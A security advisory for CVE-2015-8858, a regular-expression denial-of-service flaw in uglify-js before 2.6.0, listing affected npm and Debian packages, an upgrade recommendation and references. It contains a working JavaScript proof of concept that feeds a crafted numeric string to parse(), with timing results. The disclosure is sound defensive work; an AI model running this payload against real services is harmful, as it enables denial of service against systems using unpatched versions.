CVE-2015-8858

Description

Versions of `uglify-js` prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the `parse()` method. ### Proof of Concept ``` var u = require('uglify-js'); var genstr = function (len, chr) { var result = ""; for (i=0; i<=len; i++) { result = result + chr; } return result; } u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;"); ``` ### Results ``` $ time node test.js 10000 real 0m1.091s user 0m1.047s sys 0m0.039s $ time node test.js 80000 real 0m6.486s user 0m6.229s sys 0m0.094s ``` ## Recommendation Update to version 2.6.0 or later.

Affected packages (2)

• Debian/uglifyjsfrom 0, < 2.7.4-1
• npm/uglify-jsfrom 0, < 2.6.0

CVSS scores

References (6)

• ADVISORYhttps://github.com/advisories/GHSA-c9f4-xj24-8jqx
• ADVISORYhttps://nvd.nist.gov/vuln/detail/CVE-2015-8858
• ADVISORYhttps://security-tracker.debian.org/tracker/CVE-2015-8858
• WEBhttps://www.npmjs.com/advisories/48
• WEBhttp://www.openwall.com/lists/oss-security/2016/04/20/11
• WEBhttp://www.securityfocus.com/bid/96409